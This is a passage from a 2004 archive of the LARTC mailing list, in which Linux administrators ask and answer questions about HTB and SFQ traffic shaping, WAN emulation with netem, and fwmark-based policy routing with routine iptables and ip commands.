You probably need to come with another alternative since 2.7 probably
won't start for a long time

From tgraf@suug.ch  Thu Oct 14 21:27:30 2004
From: tgraf@suug.ch (Thomas Graf)
Date: Thu, 14 Oct 2004 22:27:30 +0200
Subject: [LARTC] Qdisc statistics project
In-Reply-To: <416EDEE1.6000806@osdl.org>
References: <200410121632.38611.alg0@iit.demokritos.gr> <416DA44B.5060001@mercs.homeip.net> <200410141139.11551.alg0@iit.demokritos.gr> <200410142022.02014.stef.coene@docum.org> <20041014185559.GS21977@postel.suug.ch> <416EDEE1.6000806@osdl.org>
Message-ID: <20041014202730.GT21977@postel.suug.ch>

* Stephen Hemminger <416EDEE1.6000806@osdl.org> 2004-10-14 13:17
> >netlink errors
> > Effort has gone into improving error codes/messages returned
> > from netlink users in the kernel. The idea is currently on hold
> > as all acceptable solutions would break APIs. Planned for 2.7
> > as of now.
> > 
> >
> You probably need to come with another alternative since 2.7 probably
> won't start for a long time

Agreed, Jamal and myself couldn't find this alternative yet though, it was
therefore postponed to after the generic statistic conversion. Ideas
are very much appreciated.

From Dave Scott <finalglide@gmail.com>  Thu Oct 14 21:36:38 2004
From: Dave Scott <finalglide@gmail.com> (Dave Scott)
Date: Thu, 14 Oct 2004 13:36:38 -0700
Subject: [LARTC] Shaping on Ports, multiple IP Address's, and SFQ
Message-ID: <935fab200410141336677716d3@mail.gmail.com>

Hi, 

I have a 3Mbit (up,down) connection going through a Linux box (Debian
600mhz, 500mb ram) using NAT to approx 125 users.

Presently I am shaping by marking packets by their port numbers. I'm
prioritizing 22, 23, 25,  80, 81, 110, 443, 500, 3389, 1214,
6881:6889, etc, into their appropriate classes depending on weather
there getting more or less bandwidth.  This has worked pretty good,
but some users have problems at times like time-outs browsing, email
and such.

One question, should I be using SFQ on these classes? Would this
decrease the time-outs some users are getting at heavy load times?  If
so, could someone please explain what this (SFQ) does, as the
documentation in the LARTC and other spots is very weak.

Another question, I was also thinking of limiting everyone's bandwidth
to like say 500K each, so no connection can get more then 500k, then
it would take about 6 people using full connections to max the line. 
I have searched and found no real good way to do this other than
creating 125 classes and filters AND if I did that would I still be
able to perform QoS on certain ports.  I'm confused on if this is
possible or not for it seems that once you filtered a IP address for
instance, then it's gone and cannot be filtered through another qdisc.

Doing the math, if I had 125 users divided up into a 3mbit connection,
I would have to have a rate of 24 kbps and ceil of 500kbps per class. 
But if I did rate limit each user, now how do I rate limit all the
ports flowing as a whole like I was originally doing?

Thanks for the help.
-Dave

From Andreas.Klauer@metamorpher.de  Fri Oct 15 02:56:45 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Fri, 15 Oct 2004 03:56:45 +0200
Subject: [LARTC] Shaping on Ports, multiple IP Address's, and SFQ
In-Reply-To: <935fab200410141336677716d3@mail.gmail.com>
References: <935fab200410141336677716d3@mail.gmail.com>
Message-ID: <416F2E5D.5040905@metamorpher.de>

Dave Scott wrote:
> Another question, I was also thinking of limiting everyone's bandwidth
> to like say 500K each, so no connection can get more then 500k, then
> it would take about 6 people using full connections to max the line. 

And then what? If the line is maxed, then it's maxed, wether that's done 
by a single user, or by three, six, or twelve people doesn't really make 
much difference to me...

> Doing the math, if I had 125 users divided up into a 3mbit connection,
> I would have to have a rate of 24 kbps and ceil of 500kbps per class.
> But if I did rate limit each user, now how do I rate limit all the
> ports flowing as a whole like I was originally doing?

Limiting per user and limiting per port are two different approaches 
which just don't mix well. By creating one class per user (all with the 
same rates), HTB is supposed to distribute available bandwidth in a fair 
manner among all active users. By adding a limit to certain ports 
however, some users will be limited in favour to others.

The port stuff isn't a good idea anyway since it can be easily bypassed. 
Especially filesharing applications such as BitTorrent can be moved to 
any port you like. If you want to recognize this kind of traffic, you're 
better off using ipp2p, l7-filter or similar.

Andreas

From jschaper@online.net.pg  Fri Oct 15 04:31:40 2004
From: jschaper@online.net.pg (Jeffrey Schaper)
Date: Fri, 15 Oct 2004 13:31:40 +1000
Subject: [LARTC] Emulate WAN
Message-ID: <002301c4b267$81f5c600$0f3bfea9@indigo5>

This is a multi-part message in MIME format.

------=_NextPart_000_0020_01C4B2BB.4D7135F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Where can I find examples of configs to emulate WANs, I am looking for =
slow speeds and high latencies.

Thanks

------=_NextPart_000_0020_01C4B2BB.4D7135F0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Where can I find examples of configs to =
emulate=20
WANs, I am looking for slow speeds and high latencies.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV></BODY></HTML>

------=_NextPart_000_0020_01C4B2BB.4D7135F0--


From Ow.Mun.Heng@wdc.com  Fri Oct 15 07:47:19 2004
From: Ow.Mun.Heng@wdc.com (Ow Mun Heng)
Date: Fri, 15 Oct 2004 14:47:19 +0800
Subject: [LARTC] Emulate WAN
In-Reply-To: <002301c4b267$81f5c600$0f3bfea9@indigo5>
References: <002301c4b267$81f5c600$0f3bfea9@indigo5>
Message-ID: <1097822839.11781.33.camel@neuromancer.home.net>

On Fri, 2004-10-15 at 11:31, Jeffrey Schaper wrote:
> Where can I find examples of configs to emulate WANs, I am looking for
> slow speeds and high latencies.

I am interested as well. How else can one determine if the script is
working??

-- 
Ow Mun Heng
Fedora GNU/Linux Core 2 on D600 1.4Ghz CPU kernel
2.6.7-2.jul1-interactive 
Neuromancer 14:47:01 up 5:50, 13 users, load average: 2.94, 2.72, 2.19 

From huetmann@site38.ping.at  Fri Oct 15 08:49:01 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Fri, 15 Oct 2004 09:49:01 +0200 (CEST)
Subject: [LARTC] HTB 2.6.8 works 2.4.27 does not!
Message-ID: <Pine.LNX.4.44.0410150943140.2433-100000@george.eliot.priv.at>

Hi again, sorry to be such a bother. 

I got my setup to work with kernel 2.6.8.1, however the two machines where 
I need to implement the shaping are running a 2.4.27 kernel. 

I have applied the infamous June patch (htbfair.diff) already, and 
recompiled the modules. And I am using the tc that comes with 
htb3.6-020525.tgz. While I can see the packets going into the right 
class, it does not seem to have any effect. I am using the same scripts on 
both the 2.6.8.1 and the 2.4.27 machines, and it seems that it does not 
work at all with 2.4.27. 

Any idea what else I could try?

Many thanks, 

.peter


From util@deuroconsult.ro  Fri Oct 15 08:52:41 2004
From: util@deuroconsult.ro (Catalin(ux aka Dino) BOIE)
Date: Fri, 15 Oct 2004 10:52:41 +0300 (EEST)
Subject: [LARTC] Emulate WAN
In-Reply-To: <002301c4b267$81f5c600$0f3bfea9@indigo5>
References: <002301c4b267$81f5c600$0f3bfea9@indigo5>
Message-ID: <Pine.LNX.4.61.0410151052240.7616@webhosting.rdsbv.ro>

On Fri, 15 Oct 2004, Jeffrey Schaper wrote:

> Where can I find examples of configs to emulate WANs, I am looking for slow speeds and high latencies.
>
> Thanks

Please see http://developer.osdl.org/shemminger/netem/example.html

---
Catalin(ux aka Dino) BOIE
catab at deuroconsult.ro
http://kernel.umbrella.ro/

From huetmann@site38.ping.at  Fri Oct 15 09:14:50 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Fri, 15 Oct 2004 10:14:50 +0200 (CEST)
Subject: [LARTC] HTB 2.6.8 works 2.4.27 does not!
In-Reply-To: <Pine.LNX.4.44.0410150943140.2433-100000@george.eliot.priv.at>
Message-ID: <Pine.LNX.4.44.0410151011540.23763-100000@george.eliot.priv.at>

Hi again, 

I have also changed the things suggested by Stef earlier on: 

- HTB hysteries 

- PSCHED_CPU 

- QLENGTH in sfq

Nothing seems to help. Kernel 2.4.27 distribution (RH9a)

Thanks, 

.peter


From wingman@waika9.com  Fri Oct 15 11:06:52 2004
From: wingman@waika9.com (EC)
Date: Fri, 15 Oct 2004 12:06:52 +0200
Subject: [LARTC] Simple question... where to find last stable version of HTB
Message-ID: <20041015100633.3B0E123326C@postfix4-2.free.fr>

Hi,

New to traffic shaping I would like to make some tests. It's for a
production server (fw), using 2.4.27 kernel.

Something is not clear to me about HTB... is the last stable version
included in the 2.4.27 kernel and iproute2 (iproute2-2.6.8-040823.tar.bz2) ?
Are there special patches to apply ?

EC.


From wingman@waika9.com  Fri Oct 15 11:22:25 2004
From: wingman@waika9.com (EC)
Date: Fri, 15 Oct 2004 12:22:25 +0200
Subject: [LARTC] Simple question... where to find last stable version of HTB
In-Reply-To: <Pine.LNX.4.61.0410151312060.7616@webhosting.rdsbv.ro>
Message-ID: <20041015102205.7B81B230D72@postfix4-2.free.fr>

>> Hi,
>>
>> New to traffic shaping I would like to make some tests. It's for a
>> production server (fw), using 2.4.27 kernel.
>>
>> Something is not clear to me about HTB... is the last stable version
>> included in the 2.4.27 kernel and iproute2 (iproute2-2.6.8-
>040823.tar.bz2) ?
>> Are there special patches to apply ?
>>
>> EC.
>
>You have all you need to go.
>Post your script and your problems.
OK.
Actually, I do not have any trouble (some tests done with TBF/SFQ and CBQ).
However, since I intend using HTB and as some people talk about 2.4.27
kernel problems with it.. I was wondering before diving in ... :)
Will probably use wonder shaper for first tests.

Thx !

EC.


From rm@ingsoc.org  Fri Oct 15 12:05:41 2004
From: rm@ingsoc.org (rm@ingsoc.org)
Date: Fri, 15 Oct 2004 11:05:41 +0000
Subject: [LARTC] mark & owner for local connections
Message-ID: <20041015110541.GB25388@spirit.segfault.net>

Hi,

Host A has two interfaces: eth0, tap0.
I want that all locally generated traffic from user 1004 goes through
tap0.

This is what I did:

iptables -A OUTPUT -t mangle -m owner --uid-owner 1004 -j MARK --set-mark 2
echo 202        bigmac.out >> /etc/iproute2/rt_tables
ip rule add fwmark 2 table  bigmac.out
ip route add default via 10.0.0.1 dev tap0 table bigmac.out
ip route flush cache

This results in these problems:
- packets from 1004 are send out via tap0 but with source ip of eth0.
  (seen in tcpdump -n -i tap0)
- iptables packetfilter rules have to bet set on eth0 and not on tap0.
  (if i deny everything on -o eth0 no packet is send out to -o tap0 anymore..)


Ideas?


Ralf
rm@ingsoc.org



From huetmann@site38.ping.at  Fri Oct 15 16:13:30 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Fri, 15 Oct 2004 17:13:30 +0200 (CEST)
Subject: [LARTC] Success at last and thanks!
Message-ID: <Pine.LNX.4.44.0410151707080.24366-100000@george.eliot.priv.at>

Hi!

Soryr about being a whiner, not enough sleep and too much frustration 
don't become too well. 

In any case, I have succeeded with the shaping now. The problem seems 
to have been twofold. First of all I had the rate too high for the actual 
throughput. We have a 1mbit connection to the internet, and after lowering 
the rate of the parent to 800kbit, and sharing that between the children, 
it worked. The second thing I did was change the SFQ_DEPTH, which seemed 
to help a lot too. The SCHED_CPU hack didn't work, for some reason the 
clock must be screwed or something. 

In any case, many thanks for all of this, it will make life a lot easier 
for some people in our organisation. 

All the best, 

.peter


From MKrauss@hitchhiker.com  Fri Oct 15 17:20:04 2004
From: MKrauss@hitchhiker.com (Matthias Krauss)
Date: Fri, 15 Oct 2004 18:20:04 +0200
Subject: [LARTC] iproute with fwmark
Message-ID: <E2E58B4CA5B0F34B90685CDB8263AC53545091@hydra.hitchhiker.de>

Hi,
not sure if it will work, i've 2 leased lines, behind line 1 is a webserver,
this
server should answer all incomming http requests through leased line 1, the
webserver 
self parses other webserver, this outbound traffic should go over leased
line 2.

i've successfully added fwmark with iproute, but if i set the policy for the
webserver to
use leased line 2 (for parsing other webs) - it screws up the incomming http
traffic on 
leased line 1.

did anybody dealed with this ?

thx i adv

Matthias


From alex@samad.com.au  Fri Oct 15 22:37:05 2004
From: alex@samad.com.au (Alexander Samad)
Date: Sat, 16 Oct 2004 07:37:05 +1000
Subject: [LARTC] mark & owner for local connections
In-Reply-To: <20041015110541.GB25388@spirit.segfault.net>
References: <20041015110541.GB25388@spirit.segfault.net>
Message-ID: <20041015213705.GA2682@samad.com.au>

--5mCyUwZo2JvN/JJP
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, Oct 15, 2004 at 11:05:41AM +0000, rm@ingsoc.org wrote:
> Hi,
>=20
> Host A has two interfaces: eth0, tap0.
> I want that all locally generated traffic from user 1004 goes through
> tap0.
>=20
> This is what I did:
>=20
> iptables -A OUTPUT -t mangle -m owner --uid-owner 1004 -j MARK --set-mark=
 2
> echo 202        bigmac.out >> /etc/iproute2/rt_tables
> ip rule add fwmark 2 table  bigmac.out
> ip route add default via 10.0.0.1 dev tap0 table bigmac.out

why not change this to=20
ip route add default via 10.0.0.1 dev tap0 table bigmac.out src
IPADDRESSofTAP0


> ip route flush cache
>=20
> This results in these problems:
> - packets from 1004 are send out via tap0 but with source ip of eth0.
>   (seen in tcpdump -n -i tap0)
> - iptables packetfilter rules have to bet set on eth0 and not on tap0.
>   (if i deny everything on -o eth0 no packet is send out to -o tap0 anymo=
re..)

=46rom my understanding the tap packets go over eth0, you still need to
allow ipip packets (can check with tcpdump)

>=20
>=20
> Ideas?
>=20
>=20
> Ralf
> rm@ingsoc.org
>=20
>=20
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>=20

--5mCyUwZo2JvN/JJP
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBcEMBkZz88chpJ2MRAuHhAKCDmds3HXhlqJ2g/BEYBunxO0D+7gCgz7eC
1TbpWIWn+q/tFVqEg1SJgSU=
=wBPi
-----END PGP SIGNATURE-----

--5mCyUwZo2JvN/JJP--

From stas@sysd.org  Sat Oct 16 00:02:05 2004
From: stas@sysd.org (Stanislaw Pusep)
Date: Fri, 15 Oct 2004 20:02:05 -0300
Subject: [LARTC] is round-robin on interface aliases possible?
Message-ID: <417056ED.3060505@sysd.org>

Hello, I'm new to the list and iproute2 itself. I was searching for a 
way to simultaneously use several IPs on the *same network interface* 
for outbound traffic. Let me explain: I have eth0 interface to which I 
set 2 IP addresses; 192.168.0.1 and 192.168.0.2. Then I want to connect 
to Internet through 192.168.0.254 gateway using round-robin between 
those 2 addresses. The iproute2 usage that best fits my needs is 
following: http://lartc.org/howto/lartc.rpdb.multiple-links.html
But I was unable to get it working, as it supposes I have 2 *interfaces* 
  while I have only 1 interface with aliases. I'm simply unable to set 
the same gateway on both IPs as it seems to be per-device setting. I am 
aware that iptables is able to do it with:
iptables -t nat -A POSTROUTING -o eth0 -j SNAT -to-source 
192.168.0.1-192.168.0.2
This actually doesn't fits my needs as it only applies to masquerade 
networks. Any suggestions?
Thanks for attention!

From chilek@chilan.com  Sat Oct 16 10:51:53 2004
From: chilek@chilan.com (Tomasz Chilinski)
Date: Sat, 16 Oct 2004 11:51:53 +0200
Subject: [LARTC] is round-robin on interface aliases possible?
In-Reply-To: <417056ED.3060505@sysd.org>
References: <417056ED.3060505@sysd.org>
Message-ID: <20041016094802.M54664@chilan.com>

On Fri, 15 Oct 2004 20:02:05 -0300, Stanislaw Pusep wrote
> Hello, I'm new to the list and iproute2 itself. I was searching for 
> a way to simultaneously use several IPs on the *same network 
> interface* for outbound traffic. Let me explain: I have eth0 
> interface to which I set 2 IP addresses; 192.168.0.1 and 
> 192.168.0.2. Then I want to connect to Internet through 
> 192.168.0.254 gateway using round-robin between those 2 addresses. 
> The iproute2 usage that best fits my needs is following: 
> http://lartc.org/howto/lartc.rpdb.multiple-links.html But I was 
> unable to get it working, as it supposes I have 2 *interfaces*   
> while I have only 1 interface with aliases. I'm simply unable to set 
> the same gateway on both IPs as it seems to be per-device setting. I 
> am aware that iptables is able to do it with: iptables -t nat -A 
> POSTROUTING -o eth0 -j SNAT -to-source 192.168.0.1-192.168.0.2 This 
> actually doesn't fits my needs as it only applies to masquerade 
> networks. Any suggestions? Thanks for attention!

You can use nth and connmark extensions (patch-o-matic from
http://netfilter.org) with two route tables. This way you can get load
balancing for ip dialogues.

--
Kind regards,
Tomasz Chilinski


From stef.coene@docum.org  Sat Oct 16 15:19:10 2004
From: stef.coene@docum.org (Stef Coene)
Date: Sat, 16 Oct 2004 16:19:10 +0200
Subject: [LARTC] Emulate WAN
In-Reply-To: <Pine.LNX.4.61.0410151052240.7616@webhosting.rdsbv.ro>
References: <002301c4b267$81f5c600$0f3bfea9@indigo5> <Pine.LNX.4.61.0410151052240.7616@webhosting.rdsbv.ro>
Message-ID: <200410161619.10352.stef.coene@docum.org>

On Friday 15 October 2004 09:52, Catalin(ux aka Dino) BOIE wrote:
> On Fri, 15 Oct 2004, Jeffrey Schaper wrote:
> > Where can I find examples of configs to emulate WANs, I am looking for
> > slow speeds and high latencies.
> >
> > Thanks
>
> Please see http://developer.osdl.org/shemminger/netem/example.html
Or
http://snad.ncsl.nist.gov/itg/nistnet/

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From gypsy@iswest.com  Sat Oct 16 18:05:25 2004
From: gypsy@iswest.com (gypsy)
Date: Sat, 16 Oct 2004 10:05:25 -0700
Subject: [LARTC] Simple question... where to find last stable version of HTB
References: <20041015100633.3B0E123326C@postfix4-2.free.fr>
Message-ID: <417154D5.DEA85562@iswest.com>

EC wrote:
> 
> Hi,
> 
> New to traffic shaping I would like to make some tests. It's for a
> production server (fw), using 2.4.27 kernel.
> 
> Something is not clear to me about HTB... is the last stable version
> included in the 2.4.27 kernel and iproute2 (iproute2-2.6.8-040823.tar.bz2) ?
> Are there special patches to apply ?

Use this to test the kernel:

grep "changes from state" /user/src/linux/net/sched/sch_htb.c

If it isn't there, then 2.4.27 does not include the latest.  Should it
be the case that 2.4.27 doesn't include this text, you should post that
here for posterity.  You DID google "2.4.27 LARTC", didn't you?!!

The most recent stable iproute2 is 2.6.9 so yours should be fine; it is
the one I use.

You MUST compile your own kernel after setting PSCHED_CPU in 
linux/include/net/pkt_sched.h so patching HTb if needed is No Big Deal.

If your tc returns error messages for things that should work, use the
binary from Devik's site.

From gypsy@iswest.com  Sat Oct 16 18:16:06 2004
From: gypsy@iswest.com (gypsy)
Date: Sat, 16 Oct 2004 10:16:06 -0700
Subject: [LARTC] HTB 2.6.8 works 2.4.27 does not!
References: <Pine.LNX.4.44.0410151011540.23763-100000@george.eliot.priv.at>
Message-ID: <41715756.79885DAC@iswest.com>

Peter Huetmannsberger wrote:
> 
> Hi again,
> 
> I have also changed the things suggested by Stef earlier on:
> - HTB hysteries
> - PSCHED_CPU
> - QLENGTH in sfq
> 
> Nothing seems to help. Kernel 2.4.27 distribution (RH9a)

Are you SURE the correct modules are being loaded?

From jschaper@online.net.pg  Sun Oct 17 03:03:31 2004
From: jschaper@online.net.pg (Jeffrey Schaper)
Date: Sun, 17 Oct 2004 12:03:31 +1000
Subject: [LARTC] Emulate WAN
References: <002301c4b267$81f5c600$0f3bfea9@indigo5> <Pine.LNX.4.61.0410151052240.7616@webhosting.rdsbv.ro>
Message-ID: <002c01c4b3ed$8d442150$84c4a5ca@indigo5>

Thanks, exactly what I needed.

Jeff
----- Original Message -----
From: "Catalin(ux aka Dino) BOIE" <util@deuroconsult.ro>
To: "Jeffrey Schaper" <jschaper@online.net.pg>
Cc: <lartc@mailman.ds9a.nl>
Sent: Friday, October 15, 2004 5:52 PM
Subject: Re: [LARTC] Emulate WAN


> On Fri, 15 Oct 2004, Jeffrey Schaper wrote:
>
> > Where can I find examples of configs to emulate WANs, I am looking for
slow speeds and high latencies.
> >
> > Thanks
>
> Please see http://developer.osdl.org/shemminger/netem/example.html
>
> ---
> Catalin(ux aka Dino) BOIE
> catab at deuroconsult.ro
> http://kernel.umbrella.ro/


From lista@umeda.com.br  Sun Oct 17 13:42:23 2004
From: lista@umeda.com.br (James Lista)
Date: Sun, 17 Oct 2004 10:42:23 -0200
Subject: [LARTC] htb
Message-ID: <004601c4b446$c00526d0$480710ac@d3lta>

This is a multi-part message in MIME format.

------=_NextPart_000_0043_01C4B435.FC66FA10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

buddies,

i am newbie to band control..  i have a linux box (as a router, NATing,) =
sharing internet

----internet----------eth0-[linux.box]-eth1----------my.lan
             =20
wan =3D adsl 600
lan  =3D about 20 users

my problem is that due the contract i cannot block users from my lan =
from downloading anything, so they can use kazaa (argghh), =
edonkey(argghhhhh), emule(arghhhhhh), soulseek(arghjhhhh) etc etc etc,   =
 =20

so,

I want to know if using htb i can make that users that uses browsers =
(port 80) have priority then users that uses port (110 and 25) , then =
rest of the ports.....    as if i could have such thing:


600kbit --------   50% for port 80
                       30% for port 25 and 110
                       20% for the rest=20

this way no user can complain that cannot access his internet banking, =
checking his emails  and other thing that are essentials...

if it is possible (with htb) or any other method, please tell me a =
direction for me to go..

really thanks

james=20






------=_NextPart_000_0043_01C4B435.FC66FA10
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1476" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>buddies,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>i am newbie to band control..&nbsp; i =
have a linux=20
box (as a router, NATing,) sharing internet</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>----internet----------eth0-[linux.box]-eth1----------my.lan</FON=
T></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>wan =3D adsl 600</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>lan&nbsp; =3D about 20 =
users</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>my problem is that due the contract i=20
<STRONG>cannot block</STRONG> users from my lan from=20
<STRONG>downloading</STRONG>&nbsp;anything, so they can use kazaa =
(argghh),=20
edonkey(argghhhhh), emule(arghhhhhh), soulseek(arghjhhhh) etc etc=20
etc,&nbsp;&nbsp;&nbsp;&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>so,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I want to know if using htb i can make =
that users=20
that uses browsers (port 80) have priority then users that uses port =
(110 and=20
25) , then rest of the ports.....&nbsp;&nbsp;&nbsp;&nbsp;as if i could =
have such=20
thing:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>600kbit --------&nbsp;&nbsp; 50% for =
port=20
80</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
30% for port 25 and 110</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
20% for the rest </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>this way no user can complain that =
cannot access=20
his internet banking, checking his emails&nbsp; and other thing that are =

essentials...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>if it is possible (with htb) or any =
other method,=20
please tell me a direction for me to go..</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>really thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>james </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0043_01C4B435.FC66FA10--


From Andreas.Klauer@metamorpher.de  Sun Oct 17 13:19:32 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Sun, 17 Oct 2004 14:19:32 +0200
Subject: [LARTC] htb
In-Reply-To: <004601c4b446$c00526d0$480710ac@d3lta>
References: <004601c4b446$c00526d0$480710ac@d3lta>
Message-ID: <200410171419.33051.Andreas.Klauer@metamorpher.de>

Am Sunday 17 October 2004 14:42 schrieb James Lista:
> 600kbit ------------   50% for port 80
>                        30% for port 25 and 110
>                        20% for the rest

Sure, that's possible. That's one 600kbit class with three child classes.

However, there may be many other ports besides 25, 80, and 110 that deserve 
prioritizing. Throwing them in the same class as all filesharing traffic 
could make things even worse than before.

Then there's the problem that many filesharing protocols can work on any 
port, so your users could just move to one of the prioritized ports and 
take all the bandwidth again.

That's some of the reasons why I never bothered with prioritizing ports on 
a global basis. Consider using ipp2p or l7-filter for a more reliable way 
for detecting P2P traffic.

No matter how you look at it, 600kbit for 20 users is a bit slow. Even 
without P2P traffic, if all of them surf the web at the same time, they 
won't be very happy with the speed. 

Besides traffic shaping, you should do anything possible to reduce load. 
Cache DNS queries, provide a HTTP proxy, probably squid. Make sure that 
you can't be flooded from the outside. Stuff like that.

HTH
Andreas

From mjoachimiak@poczta.onet.pl  Sun Oct 17 13:53:36 2004
From: mjoachimiak@poczta.onet.pl (ja)
Date: Sun, 17 Oct 2004 14:53:36 +0200
Subject: [LARTC] htb
References: <004601c4b446$c00526d0$480710ac@d3lta>
Message-ID: <02dd01c4b448$52467250$0802a8c0@komp>

This is a multi-part message in MIME format.

------=_NextPart_000_02DA_01C4B459.14C91CF0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

This is no good cause for example bittorent can download on port 80 :D. =
So the best way is create classes with ceil parameter for example =
128kbit to ensure relability for every user and limit number of =
connections to 50-80 per user. This the best (i can get a word grr....- =
you know) if you dont want to block p2p.
  ----- Original Message -----=20
  From: James Lista=20
  To: lartc@mailman.ds9a.nl=20
  Sent: Sunday, October 17, 2004 2:42 PM
  Subject: [LARTC] htb


  buddies,

  i am newbie to band control..  i have a linux box (as a router, =
NATing,) sharing internet

  ----internet----------eth0-[linux.box]-eth1----------my.lan
               =20
  wan =3D adsl 600
  lan  =3D about 20 users

  my problem is that due the contract i cannot block users from my lan =
from downloading anything, so they can use kazaa (argghh), =
edonkey(argghhhhh), emule(arghhhhhh), soulseek(arghjhhhh) etc etc etc,   =
 =20

  so,

  I want to know if using htb i can make that users that uses browsers =
(port 80) have priority then users that uses port (110 and 25) , then =
rest of the ports.....    as if i could have such thing:


  600kbit --------   50% for port 80
                         30% for port 25 and 110
                         20% for the rest=20

  this way no user can complain that cannot access his internet banking, =
checking his emails  and other thing that are essentials...

  if it is possible (with htb) or any other method, please tell me a =
direction for me to go..

  really thanks

  james=20






------=_NextPart_000_02DA_01C4B459.14C91CF0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1476" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>This is no good cause for example =
bittorent can=20
download on port 80 :D. So the best way is create classes with ceil =
parameter=20
for example 128kbit to ensure relability for every user and limit number =
of=20
connections to 50-80 per user. This the best (i can get a word grr....- =
you=20
know) if you dont want to block p2p.</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
